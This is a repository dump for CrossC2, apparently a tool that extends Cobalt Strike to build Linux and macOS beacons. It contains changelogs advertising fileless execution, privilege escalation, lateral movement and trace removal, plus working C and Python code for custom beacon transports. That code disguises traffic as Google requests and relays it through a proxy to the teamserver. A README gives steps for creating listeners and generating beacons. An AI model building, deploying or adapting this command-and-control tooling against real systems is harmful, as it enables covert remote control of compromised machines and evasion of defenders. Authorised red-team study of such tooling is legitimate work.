  • 70 |
  • +支持 增加后台文件下载功能
  • 71 |
72 | 73 |

release v0.3 :

74 | 75 |
    76 |
  • +支持 老系统Linux上低版本GLIBC的兼容 (2010年左右)
  • 77 |
78 | 79 |

release v0.2 :

80 | 81 |
    82 |
  • -修复 Linux genCrossC2.Linux 崩溃的bug.
  • 83 |
  • -修复 大文件上传时末尾字节写入不全的bug.
  • 84 |
  • +支持 GUI的文件管理器.
  • 85 |
86 | 87 |

release v0.1 :

88 | 89 |
    90 |
  • 支持 生成 Linux & MacOS beacon.
  • 91 |
92 | 93 |
94 | 95 | 96 | -------------------------------------------------------------------------------- /.github/workflows/update-crossc2-release.yml: -------------------------------------------------------------------------------- 1 | on: 2 | push: 3 | branches: 4 | - cs4.1 5 | paths: 6 | - 'src/CrossC2.cna' 7 | 8 | name: Create CrossC2 Release 9 | 10 | jobs: 11 | build: 12 | name: Update Release 13 | runs-on: ubuntu-latest 14 | steps: 15 | - name: Checkout code 16 | uses: actions/checkout@v2 17 | - name: Get current date 18 | id: date 19 | run: echo "::set-output name=date::$(date +'%Y-%m-%d')" 20 | - name: Build project # This would actually build your project, using zip for an example artifact 21 | run: | 22 | echo 1 > blank 23 | - name: Gets latest created release info 24 | id: latest_release_info 25 | uses: jossef/action-latest-release-info@v1.1.0 26 | env: 27 | GITHUB_TOKEN: ${{ github.token }} 28 | - name: Create a placeholder file 29 | id: create-placeholder-file 30 | uses: actions/upload-release-asset@v1 31 | env: 32 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 33 | with: 34 | upload_url: ${{ steps.latest_release_info.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps 35 | asset_path: ./blank 36 | asset_name: placeholder 37 | asset_content_type: application/zip 38 | - name: Delete old release assets 39 | uses: mknejp/delete-release-assets@v1 40 | with: 41 | token: ${{ github.token }} 42 | tag: ${{ steps.latest_release_info.outputs.tag_name }} 43 | assets: | 44 | CrossC2-GithubBot-*.cna 45 | placeholder 46 | - name: Upload Release Asset 47 | id: upload-release-asset 48 | uses: actions/upload-release-asset@v1 49 | env: 50 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 51 | with: 52 | upload_url: ${{ steps.latest_release_info.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps 53 | asset_path: src/CrossC2.cna 54 | asset_name: CrossC2-GithubBot-${{ steps.date.outputs.date }}.cna 55 | asset_content_type: application/zip 56 | 57 | 58 | -------------------------------------------------------------------------------- /.github/workflows/update-crossc2kit-release.yml: -------------------------------------------------------------------------------- 1 | on: 2 | push: 3 | branches: 4 | - cs4.1 5 | paths: 6 | - 'CrossC2Kit/**' 7 | - '!CrossC2Kit/README.md' 8 | 9 | name: Update CrossC2Kit Release 10 | 11 | jobs: 12 | build: 13 | name: Update Release 14 | runs-on: ubuntu-latest 15 | steps: 16 | - name: Checkout code 17 | uses: actions/checkout@v2 18 | - name: Get current date 19 | id: date 20 | run: echo "::set-output name=date::$(date +'%Y-%m-%d')" 21 | - name: Build project # This would actually build your project, using zip for an example artifact 22 | run: | 23 | zip -r CrossC2Kit-${{ steps.date.outputs.date }} CrossC2Kit/ 24 | echo 1 > blank 25 | - name: Gets latest created release info 26 | id: latest_release_info 27 | uses: jossef/action-latest-release-info@v1.1.0 28 | env: 29 | GITHUB_TOKEN: ${{ github.token }} 30 | - name: Create a placeholder file 31 | id: create-placeholder-file 32 | uses: actions/upload-release-asset@v1 33 | env: 34 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 35 | with: 36 | upload_url: ${{ steps.latest_release_info.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps 37 | asset_path: ./blank 38 | asset_name: placeholder 39 | asset_content_type: application/zip 40 | - name: Delete old release assets 41 | uses: mknejp/delete-release-assets@v1 42 | with: 43 | token: ${{ github.token }} 44 | tag: ${{ steps.latest_release_info.outputs.tag_name }} 45 | assets: | 46 | CrossC2Kit-GithubBot-*.zip 47 | placeholder 48 | - name: Upload Release Asset 49 | id: upload-release-asset 50 | uses: actions/upload-release-asset@v1 51 | env: 52 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 53 | with: 54 | upload_url: ${{ steps.latest_release_info.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps 55 | asset_path: ./CrossC2Kit-${{ steps.date.outputs.date }}.zip 56 | asset_name: CrossC2Kit-GithubBot-${{ steps.date.outputs.date }}.zip 57 | asset_content_type: application/zip 58 | -------------------------------------------------------------------------------- /protocol_demo/c2profile.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | void cc2_rebind_http_get_send(char *reqData, char **outputData, long long *outputData_len) { 7 | //修改请求URL和c2profile文件中一致 8 | char *requestBody = "GET /%s HTTP/1.1\r\n" 9 | "Host: www.google.com\r\n" 10 | "Accept: accccccc\r\n" 11 | "Accept-Encoding: gzip, br\r\n" 12 | "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1\r\n" 13 | "Cookie: SESSION=%s\r\n" 14 | "Referer: https://www.google.com/\r\n" 15 | "Connection: close\r\n\r\n"; 16 | char postPayload[20000]; 17 | sprintf(postPayload, requestBody, "aaaaaaaaa", reqData); 18 | 19 | *outputData_len = strlen(postPayload); 20 | *outputData = (char *)calloc(1, *outputData_len); 21 | memcpy(*outputData, postPayload, *outputData_len); 22 | 23 | } 24 | void cc2_rebind_http_post_send(char *reqData, char *id, char **outputData, long long *outputData_len) { 25 | char *requestBody = "POST /%s?SESSION=%s HTTP/1.1\r\n" 26 | "Host: www.google.com\r\n" 27 | "Accept: accccccc\r\n" 28 | "Accept-Encoding: gzip, br\r\n" 29 | "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1\r\n" 30 | "Referer: https://www.google.com/\r\n" 31 | "Connection: close\r\n" 32 | "Content-Length: %d\r\n\r\n%s"; 33 | char *postPayload = (char *)calloc(1, strlen(requestBody)+strlen(reqData)+200); 34 | sprintf(postPayload, requestBody, "bbbbbbbbb", id, strlen(reqData), reqData); 35 | 36 | *outputData_len = strlen(postPayload); 37 | *outputData = (char *)calloc(1, *outputData_len); 38 | memcpy(*outputData, postPayload, *outputData_len); 39 | free(postPayload); 40 | } 41 | 42 | char *find_payload(char *rawData, long long rawData_len, char *start, char *end, long long *payload_len) { 43 | 44 | //find_payload() 从原始数据中,找到以"ffffffff1"字符串开始,"eeeeeeee2"字符串结束中间包含的数据 45 | 46 | // ffffffff1AAAABBBBCCCCDDDDeeeeeeee2 -> AAAABBBBCCCCDDDD 47 | 48 | // *payload_len = xx; // 返回找到的payload长度 49 | // return payload; // 返回找到的payload 50 | 51 | rawData = strstr(rawData, start) + strlen(start); 52 | 53 | *payload_len = strlen(rawData) - strlen(strstr(rawData, end)); 54 | 55 | char *payload = (char *)calloc(*payload_len ,sizeof(char)); 56 | memcpy(payload, rawData, *payload_len); 57 | return payload; 58 | } 59 | 60 | void cc2_rebind_http_get_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) { 61 | 62 | char *start = "ffffffff1"; 63 | char *end = "eeeeeeee2"; 64 | 65 | long long payload_len = 0; 66 | *outputData = find_payload(rawData, rawData_len, start, end, &payload_len); 67 | *outputData_len = payload_len; 68 | } 69 | 70 | void cc2_rebind_http_post_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) { 71 | 72 | char *start = "ffffffff1"; 73 | char *end = "eeeeeeee2"; 74 | 75 | long long payload_len = 0; 76 | *outputData = find_payload(rawData, rawData_len, start, end, &payload_len); 77 | *outputData_len = payload_len; 78 | } -------------------------------------------------------------------------------- /.github/workflows/create-base-release.yml: -------------------------------------------------------------------------------- 1 | on: 2 | release: 3 | types: 4 | published 5 | 6 | name: Create Base Release 7 | 8 | jobs: 9 | build: 10 | name: Update Release 11 | runs-on: ubuntu-latest 12 | steps: 13 | - name: Checkout code 14 | uses: actions/checkout@v2 15 | - name: Get current date 16 | id: date 17 | run: echo "::set-output name=date::$(date +'%Y-%m-%d')" 18 | - name: Build project # This would actually build your project, using zip for an example artifact 19 | run: | 20 | zip -r CrossC2Kit-${{ steps.date.outputs.date }} CrossC2Kit/ 21 | echo 1 > blank 22 | - name: Gets latest created release info 23 | id: latest_release_info 24 | uses: jossef/action-latest-release-info@v1.1.0 25 | env: 26 | GITHUB_TOKEN: ${{ github.token }} 27 | - name: Create a placeholder file 28 | id: create-placeholder-file 29 | uses: actions/upload-release-asset@v1 30 | env: 31 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 32 | with: 33 | upload_url: ${{ steps.latest_release_info.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps 34 | asset_path: ./blank 35 | asset_name: placeholder 36 | asset_content_type: application/zip 37 | - name: Delete old release assets 38 | uses: mknejp/delete-release-assets@v1 39 | with: 40 | token: ${{ github.token }} 41 | tag: ${{ steps.latest_release_info.outputs.tag_name }} 42 | assets: | 43 | CrossC2Kit-GithubBot-*.zip 44 | CrossC2-GithubBot-*.cna 45 | placeholder 46 | - name: Upload CrossC2Kit Release Asset 47 | id: upload-release-asset 48 | uses: actions/upload-release-asset@v1 49 | env: 50 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 51 | with: 52 | upload_url: ${{ steps.latest_release_info.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps 53 | asset_path: ./CrossC2Kit-${{ steps.date.outputs.date }}.zip 54 | asset_name: CrossC2Kit-GithubBot-${{ steps.date.outputs.date }}.zip 55 | asset_content_type: application/zip 56 | - name: Upload CrossC2 Release Asset 57 | id: upload-release-asset2 58 | uses: actions/upload-release-asset@v1 59 | env: 60 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 61 | with: 62 | upload_url: ${{ steps.latest_release_info.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps 63 | asset_path: src/CrossC2.cna 64 | asset_name: CrossC2-GithubBot-${{ steps.date.outputs.date }}.cna 65 | asset_content_type: application/zip 66 | -------------------------------------------------------------------------------- /changelog_en.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 |

ChangeLog

5 | 6 |

release v2.0 :

7 | 8 |
    9 |
  • -fix Fix the problem of path errors caused by backslashes when uploading files in the file management office
  • 10 |
  • -fix Long-term testing in various scenarios in the real environment, fixing some hidden problems, and now more stable
  • 11 |
  • +support Support for lower kernel version systems
  • 12 |
  • +support Environment variables are automatically set at startup
  • 13 |
  • +support Delete sensitive env records at startup
  • 14 |
  • +support The background service process can be linked to the init process at startup
  • 15 |
  • +support Increase session spawn function
  • 16 |
  • +support Increase the function of session setting environment variables
  • 17 |
  • +support Increase the privilege escalation function of session getsystem
  • 18 |
  • +support Increase session analysis function to handle multiple merge tasks
  • 19 |
  • +support Increase Mac & Linux lateral movement function
  • 20 |
21 | 22 |

release v1.5 :

23 | 24 |
    25 |
  • -fix genCrossC2's bug about protocol rebinding.
  • 26 |
27 | 28 |

release v1.4 :

29 | 30 |
    31 |
  • -fix Linux daemon process and joblist display problem.
  • 32 |
33 | 34 |

release v1.3 :

35 | 36 |
    37 |
  • +support Support custom communication protocol (HTTP, TCP, UDP...) .
  • 38 |
  • +support A new joblist module has been added to manage programs running without files in persistent memory.
  • 39 |
  • +support Reverse proxy module{TCP/KCP(UDP)} that executes without files in memory.
  • 40 |
41 | 42 |

release v1.2 :

43 | 44 |
    45 |
  • +support Support manual selection of key files.
  • 46 |
  • +support Support to generate shellcode.
  • 47 |
  • -change No longer rely on cobaltstrike.jar (plug-ins can be placed in any directory).
  • 48 |
  • -change More flexible and convenient Script Unix Web Delivery.
  • 49 |
50 | 51 |

release v1.1 :

52 | 53 |
    54 |
  • -fix Multi-language garbled problem fix for memory load execution function
  • 55 |
56 | 57 |

release v1.0 :

58 | 59 |
    60 |
  • -fix Test multiple times for a long time in multiple scenarios in real environment, fix some hidden problems, now more stable
  • 61 |
  • +support Linux & MacOS Supports no file landing, loading and executing from memory
  • 62 |
  • +support Reserved CS built-in data types, richer user-defined plug-in return data types, free and easy to implement 'portscan' and other native functions
  • 63 |
64 | 65 |

release v0.4 :

66 | 67 |
    68 |
  • -change Multi-threaded background when shell commands are executed
  • 69 |
  • -change Redirect error output to standard output when shell command is executed.
  • 70 |
  • +support Add background file download function.
  • 71 |
72 | 73 |

release v0.3 :

74 | 75 |
    76 |
  • +support Compatibility with older versions of GLIBC on older systems Linux (around 2010).
  • 77 |
78 | 79 |

release v0.2 :

80 | 81 |
    82 |
  • -fix genCrossC2.Linux crash.
  • 83 |
  • -fix uploading large file error.
  • 84 |
  • +support GUI file manager.
  • 85 |
86 | 87 |

release v0.1 :

88 | 89 |
    90 |
  • Support Linux & MacOS beacon generation.
  • 91 |
92 | 93 |
94 | 95 | 96 | -------------------------------------------------------------------------------- /protocol_demo/rebind_udp.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | int sendUDP(char *hostIP, int port, int msgType, char *request, int request_len, char **response, int *response_len) { 10 | *response_len = 0; 11 | int sockfd, n; 12 | struct sockaddr_in servaddr; 13 | char recvline[1024]; 14 | if((sockfd = socket(AF_INET,SOCK_DGRAM,0)) < 0) { 15 | printf("socket error\n"); 16 | return -1; 17 | } 18 | 19 | bzero(&servaddr,sizeof(servaddr)); 20 | servaddr.sin_family = AF_INET; 21 | servaddr.sin_port = htons(port); 22 | printf("socket: host: %s\nport:%d\npostData:%s\n",hostIP, port, request); 23 | if(inet_pton(AF_INET,hostIP,&servaddr.sin_addr) <= 0) { 24 | printf("inet_pton error\n"); 25 | return -1; 26 | } 27 | 28 | // send msgType GET/POST 29 | // msgType = 1 read_2_cs_teamserver 30 | // msgType = 2 write_2_cs_teamserver 31 | char *msgHeader = NULL; 32 | if (msgType == 1) { 33 | msgHeader = "read|||"; 34 | } else { 35 | msgHeader = "write||"; 36 | } 37 | printf("send msgHeader(msgType = %s)\n", msgHeader); 38 | sendto(sockfd, msgHeader, strlen(msgHeader), 0,(struct sockaddr *)&servaddr, sizeof(servaddr)); 39 | printf("send msgBody\n"); 40 | sendto(sockfd, request, strlen(request), 0,(struct sockaddr *)&servaddr, sizeof(servaddr)); 41 | char *response_t = NULL; 42 | do 43 | { 44 | n = recvfrom(sockfd, recvline, 1024, 0, NULL, NULL); 45 | *response_len += n; 46 | response_t = (char *)realloc(response_t, *response_len + 1); 47 | char *temp_ptr = response_t + (*response_len - n); 48 | memcpy(temp_ptr, recvline, n); 49 | } while (n > 0); 50 | response_t[*response_len] = 0; 51 | *response = response_t; 52 | if (*response_len > 0) 53 | *response_len = *response_len - 1; 54 | close(sockfd); 55 | return 1; 56 | } 57 | 58 | void cc2_rebind_get_protocol(char *reqData, char **outputData, long long *outputData_len) { 59 | printf("------ custom get protocol ------\n"); 60 | // 8.8.8.8 replaced with the real proxy_server ip 61 | sendUDP("8.8.8.8", 7777, 1, reqData, strlen(reqData), outputData, outputData_len); 62 | if (*outputData_len > 0) { 63 | printf("http response(%d): \n", *outputData_len); 64 | printf("-----end-----\n"); 65 | printf("\nb64 response: %s\n", *outputData); 66 | } 67 | printf("------ custom protocol ------\n"); 68 | } 69 | void cc2_rebind_post_protocol(char *reqData, char *id, char **outputData, long long *outputData_len) { 70 | printf("------ custom post protocol ------\n"); 71 | // printf("post Data: %s\n", reqData); 72 | 73 | char *split = "->|<-"; 74 | char *rawData = (char *)calloc(1, strlen(reqData)+strlen(id)+strlen(split)+1); 75 | strncpy(rawData, id, strlen(id)); 76 | strncpy(rawData+strlen(id), split, strlen(split)); 77 | strncpy(rawData+strlen(id)+strlen(split), reqData, strlen(reqData)); 78 | 79 | // 8.8.8.8 replaced with the real proxy_server ip 80 | sendUDP("8.8.8.8", 7777, 2, rawData, strlen(rawData), outputData, outputData_len); 81 | if (*outputData_len > 0) { 82 | printf("http response(%d): \n", *outputData_len); 83 | printf("-----end-----\n"); 84 | printf("\nb64 response: %s\n", *outputData); 85 | } 86 | free(rawData); 87 | rawData = NULL; 88 | printf("------ custom protocol ------\n"); 89 | } -------------------------------------------------------------------------------- /protocol_demo/rebind_tcp.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | 10 | int sendTCP(char *hostIP, int port, int msgType, char *request, int request_len, char **response, int *response_len) { 11 | *response_len = 0; 12 | int sockfd, n; 13 | struct sockaddr_in servaddr; 14 | char recvline[1024]; 15 | if((sockfd = socket(AF_INET,SOCK_STREAM,0)) < 0) { 16 | printf("socket error\n"); 17 | return -1; 18 | } 19 | 20 | bzero(&servaddr,sizeof(servaddr)); 21 | servaddr.sin_family = AF_INET; 22 | servaddr.sin_port = htons(port); 23 | printf("socket: host: %s\nport:%d\npostData:%s\n",hostIP, port, request); 24 | if(inet_pton(AF_INET,hostIP,&servaddr.sin_addr) <= 0) { 25 | printf("inet_pton error\n"); 26 | return -1; 27 | } 28 | 29 | if(connect(sockfd,(struct sockaddr *)&servaddr,sizeof(servaddr)) < 0) { 30 | printf("connect error\n"); 31 | return -1; 32 | } 33 | 34 | // send msgType GET/POST 35 | // msgType = 1 read_2_cs_teamserver 36 | // msgType = 2 write_2_cs_teamserver 37 | char *msgHeader = NULL; 38 | if (msgType == 1) { 39 | msgHeader = "read|||"; 40 | } else { 41 | msgHeader = "write||"; 42 | } 43 | printf("send msgHeader(msgType = %s)\n", msgHeader); 44 | write(sockfd, msgHeader, strlen(msgHeader)); 45 | printf("send msgBody\n"); 46 | write(sockfd, request, request_len); 47 | char *response_t = NULL; 48 | do 49 | { 50 | n = read(sockfd,recvline,1024); 51 | *response_len += n; 52 | response_t = (char *)realloc(response_t, *response_len + 1); 53 | char *temp_ptr = response_t + (*response_len - n); 54 | memcpy(temp_ptr, recvline, n); 55 | } while (n > 0); 56 | response_t[*response_len] = 0; 57 | *response = response_t; 58 | if (*response_len > 0) 59 | *response_len = *response_len - 1; 60 | close(sockfd); 61 | return 1; 62 | } 63 | 64 | void cc2_rebind_get_protocol(char *reqData, char **outputData, long long *outputData_len) { 65 | printf("------ custom get protocol ------\n"); 66 | // 8.8.8.8 replaced with the real proxy_server ip 67 | sendTCP("8.8.8.8", 7777, 1, reqData, strlen(reqData), outputData, outputData_len); 68 | if (*outputData_len > 0) { 69 | printf("http response(%d): \n", *outputData_len); 70 | printf("-----end-----\n"); 71 | printf("\nb64 response: %s\n", *outputData); 72 | } 73 | printf("------ custom protocol ------\n"); 74 | } 75 | void cc2_rebind_post_protocol(char *reqData, char *id, char **outputData, long long *outputData_len) { 76 | printf("------ custom post protocol ------\n"); 77 | // printf("post Data: %s\n", reqData); 78 | 79 | char *split = "->|<-"; 80 | char *rawData = (char *)calloc(1, strlen(reqData)+strlen(id)+strlen(split)+1); 81 | strncpy(rawData, id, strlen(id)); 82 | strncpy(rawData+strlen(id), split, strlen(split)); 83 | strncpy(rawData+strlen(id)+strlen(split), reqData, strlen(reqData)); 84 | 85 | // 8.8.8.8 replaced with the real proxy_server ip 86 | sendTCP("8.8.8.8", 7777, 2, rawData, strlen(rawData), outputData, outputData_len); 87 | if (*outputData_len > 0) { 88 | printf("http response(%d): \n", *outputData_len); 89 | printf("-----end-----\n"); 90 | printf("\nb64 response: %s\n", *outputData); 91 | } 92 | free(rawData); 93 | rawData = NULL; 94 | printf("------ custom protocol ------\n"); 95 | } -------------------------------------------------------------------------------- /protocol_demo/proxy_tcp.py: -------------------------------------------------------------------------------- 1 | # -*- coding: UTF-8 -*- 2 | import socket 3 | import struct 4 | import requests 5 | import time 6 | import base64 7 | 8 | def read_tcp_cc2(s): 9 | recvdata = s.recv(10024) 10 | return recvdata 11 | 12 | def write_tcp_cc2(s, data): 13 | s.send(data) 14 | 15 | 16 | def read_udp_cc2(s): 17 | recvdata,_ = s.recvfrom(10024) 18 | return recvdata 19 | 20 | 21 | def write_udp_cc2(s, data, addr): 22 | s.sendto(data, addr) 23 | 24 | 25 | def find_beacon_data(prefix, suffix, data): 26 | s_index = data.find(prefix) + 1 # 1 = mask 27 | s_end = data.find(suffix) 28 | beacon_data = '' 29 | if (s_index > 0 and s_end > 0 and (s_index + len(prefix) + 1) != s_end): 30 | beacon_data = data[s_index + len(prefix):s_end] 31 | print('s_index = {}, s_end = {}', s_index, s_end) 32 | return beacon_data 33 | 34 | def read_cs_teamserver(metadata): 35 | headers = { "HOST": "www.google.com", 36 | "Referer": "http://www.google.com/", 37 | "Accept": "accccccc", 38 | "User-Agent": "cc2_rebind_protocol_get_send", 39 | "Cookie": "SESSION={}".format(metadata), 40 | "Connection": "cc2_rebind_protocol_get_send" 41 | } 42 | res = requests.get("http://127.0.0.1:443/aaaaaaaaa", headers=headers) 43 | 44 | start = "ffffffff1" 45 | end = "eeeeeeee2" 46 | beacon_data = find_beacon_data(start, end, res.content) 47 | return beacon_data 48 | 49 | 50 | def write_cs_teamserver(id, metadata): 51 | headers = { "HOST": "www.google.com", 52 | "Referer": "http://www.google.com/", 53 | "Accept": "accccccc", 54 | "User-Agent": "cc2_rebind_protocol_post_send", 55 | "Connection": "keep-alive", 56 | "Content-Length": "{}".format(len(metadata)) 57 | } 58 | res = requests.post("http://127.0.0.1:443/bbbbbbbbb?SESSION={}".format(id), headers=headers, data=metadata) 59 | 60 | 61 | def parseRawData(rawData): 62 | split = '->|<-' 63 | split_index = rawData.find(split) 64 | bid = rawData[:split_index] 65 | metadata = rawData[len(split)+split_index:] 66 | return bid,metadata 67 | 68 | 69 | def cc2_tcp_server(): 70 | print 'CrossC2 beacon TCP Server start:' 71 | sockobj = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 72 | sockobj.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1) 73 | 74 | sockobj.bind(('127.0.0.1', 7777)) 75 | sockobj.listen(1000) 76 | 77 | while True: 78 | connection, address = sockobj.accept( ) 79 | print 'cc2 client alive: ', address 80 | 81 | msgHeader = connection.recv(7) 82 | print('msgHeader == ' + msgHeader) 83 | if msgHeader == 'read|||': 84 | data = read_tcp_cc2(connection) 85 | metadata = read_cs_teamserver(data) 86 | if len(metadata) > 0: 87 | print('beacon data : '+metadata) 88 | write_tcp_cc2(connection, metadata) 89 | elif msgHeader == 'write||': 90 | rawData = read_tcp_cc2(connection) 91 | bid, metadata = parseRawData(rawData) 92 | if len(metadata) > 0 and len(bid) > 0: 93 | # print('beacon raw: ' + rawData) 94 | # print('beacon post data: ' + metadata) 95 | # print('beacon id: ' + bid) 96 | write_cs_teamserver(bid, metadata) 97 | connection.close() 98 | 99 | def main(): 100 | # run on teamserver 101 | cc2_tcp_server() 102 | 103 | 104 | if __name__ == '__main__': 105 | main() 106 | -------------------------------------------------------------------------------- /protocol_demo/proxy_udp.py: -------------------------------------------------------------------------------- 1 | # -*- coding: UTF-8 -*- 2 | import socket 3 | import struct 4 | import requests 5 | import time 6 | import base64 7 | 8 | def read_tcp_cc2(s): 9 | recvdata = s.recv(10024) 10 | return recvdata 11 | 12 | def write_tcp_cc2(s, data): 13 | s.send(data) 14 | 15 | 16 | def read_udp_cc2(s): 17 | recvdata,_ = s.recvfrom(10024) 18 | return recvdata 19 | 20 | 21 | def write_udp_cc2(s, data, addr): 22 | s.sendto(data, addr) 23 | 24 | 25 | def find_beacon_data(prefix, suffix, data): 26 | s_index = data.find(prefix) + 1 # 1 = mask 27 | s_end = data.find(suffix) 28 | beacon_data = '' 29 | if (s_index > 0 and s_end > 0 and (s_index + len(prefix) + 1) != s_end): 30 | beacon_data = data[s_index + len(prefix):s_end] 31 | print('s_index = {}, s_end = {}', s_index, s_end) 32 | return beacon_data 33 | 34 | def read_cs_teamserver(metadata): 35 | headers = { "HOST": "www.google.com", 36 | "Referer": "http://www.google.com/", 37 | "Accept": "accccccc", 38 | "User-Agent": "cc2_rebind_protocol_get_send", 39 | "Cookie": "SESSION={}".format(metadata), 40 | "Connection": "cc2_rebind_protocol_get_send" 41 | } 42 | res = requests.get("http://127.0.0.1:443/aaaaaaaaa", headers=headers) 43 | 44 | start = "ffffffff1" 45 | end = "eeeeeeee2" 46 | beacon_data = find_beacon_data(start, end, res.content) 47 | return beacon_data 48 | 49 | 50 | def write_cs_teamserver(id, metadata): 51 | headers = { "HOST": "www.google.com", 52 | "Referer": "http://www.google.com/", 53 | "Accept": "accccccc", 54 | "User-Agent": "cc2_rebind_protocol_post_send", 55 | "Connection": "keep-alive", 56 | "Content-Length": "{}".format(len(metadata)) 57 | } 58 | res = requests.post("http://127.0.0.1:443/bbbbbbbbb?SESSION={}".format(id), headers=headers, data=metadata) 59 | 60 | 61 | def parseRawData(rawData): 62 | split = '->|<-' 63 | split_index = rawData.find(split) 64 | bid = rawData[:split_index] 65 | metadata = rawData[len(split)+split_index:] 66 | return bid,metadata 67 | 68 | def cc2_udp_server(): 69 | print 'CrossC2 beacon UDP Server start:' 70 | sockobj = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 71 | sockobj.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1) 72 | 73 | sockobj.bind(('127.0.0.1', 7777)) 74 | 75 | while True: 76 | msgHeader, address = sockobj.recvfrom(7) 77 | print 'cc2 client alive: ', address 78 | print('msgHeader == ' + msgHeader) 79 | if msgHeader == 'read|||': 80 | data = read_udp_cc2(sockobj) 81 | print('Receive MSG from cc2_beacon: %s'%data) 82 | metadata = read_cs_teamserver(data) 83 | if len(metadata) > 0: 84 | print('beacon data : '+metadata) 85 | write_udp_cc2(sockobj, metadata, address) 86 | write_udp_cc2(sockobj, '', address) 87 | else: 88 | write_udp_cc2(sockobj, '', address) 89 | elif msgHeader == 'write||': 90 | rawData = read_udp_cc2(sockobj) 91 | bid, metadata = parseRawData(rawData) 92 | if len(metadata) > 0 and len(bid) > 0: 93 | print('beacon raw: ' + rawData) 94 | print('beacon post data: ' + metadata) 95 | print('beacon id: ' + bid) 96 | write_cs_teamserver(bid, metadata) 97 | 98 | def main(): 99 | # run on teamserver 100 | cc2_udp_server() 101 | 102 | 103 | if __name__ == '__main__': 104 | main() 105 | -------------------------------------------------------------------------------- /README_zh.md: -------------------------------------------------------------------------------- 1 | # CrossC2 framework 2 | 3 | ![ Linux ](https://img.shields.io/badge/platform-Linux-green) 4 | ![ macOS ](https://img.shields.io/badge/platform-macOS-green) 5 | [![GitHub issues-closed](https://img.shields.io/github/issues-closed/gloxec/CrossC2.svg)](https://GitHub.com/gloxec/CrossC2/issues?q=is%3Aissue+is%3Aclosed) 6 | [![Release](https://img.shields.io/github/release/gloxec/CrossC2.svg)](https://github.com/gloxec/CrossC2/releases/latest) 7 | [![Downloads](https://img.shields.io/github/downloads/gloxec/CrossC2/total?label=Release%20Download)](https://github.com/gloxec/CrossC2/releases/latest) 8 | 9 | 10 | 11 |

12 | CrossC2 Logo 13 |

14 | 15 | 16 | [README](README.md) | [中文文档](README_zh.md) | [README_FULL](README_full.md) | [中文完整文档](README_zh_full.md) 17 | 18 | 19 | # CobaltStrike 支持说明 20 | 21 | 支持CobaltStrike对其他平台(Linux/MacOS/...)的安全评估,及包含Unix后渗透模块开发支持 22 | 23 | | | CS3.14(bug fixes) | CS4.0 | CS4.X (4.1~4.8) | 24 | |-----------------|----------|-------|---------------| 25 | | Master分支 | ✅ | | | 26 | | cs4.0分支 | | ✅ | | 27 | | cs4.1分支 | | | ✅ | 28 | | | | | | 29 | | Release 页面 <= v2.1 | ✅ | | | 30 | | Release 页面 >= v2.2 | | | ✅ | 31 | 32 | ![2023-07-31 16.56.51](media/16292585578533/CrossC2_action.gif) 33 | 34 | 35 | # Usage 36 | 37 | Usage 链接: 38 | 39 | > 1. 下载 40 | 41 | 从 [Release页面](https://github.com/gloxec/CrossC2/releases) 下载: 42 | 43 | 1. **genCrossC2** (beacon生成器) 44 | 2. **CrossC2.cna** (GUI生成器插件) 修改`CrossC2.cna`配置并加载 45 | 3. **CrossC2Kit** (CrossC2相关插件) 加载 `CrossC2Kit_loader.cna` 46 | 47 | > 2. 创建listener与拷贝key 48 | 49 | * 创建`windows/beacon_https/reverse_https` listener 50 | * 拷贝**teamserver目录**的 `.cobaltstrike.beacon_keys`到**本地** 51 | 52 | > 3. 功能扩展 53 | 54 | * 添加`CrossC2Kit_Loader.cna`, 包含内存加载等其它功能 55 | * `cs4.x`版本文件管理、进程列表功能被CS官方移除,必须使用此Loader来重启 56 | 57 | > 4. 生成beacon 58 | 59 | 默认使用cli或cna提供的GUI功能生成beacon 60 | 61 | `genCrossC2 ` 62 | 63 | ex: 64 | 65 | ``` 66 | 1. 从当前路径读取beacon 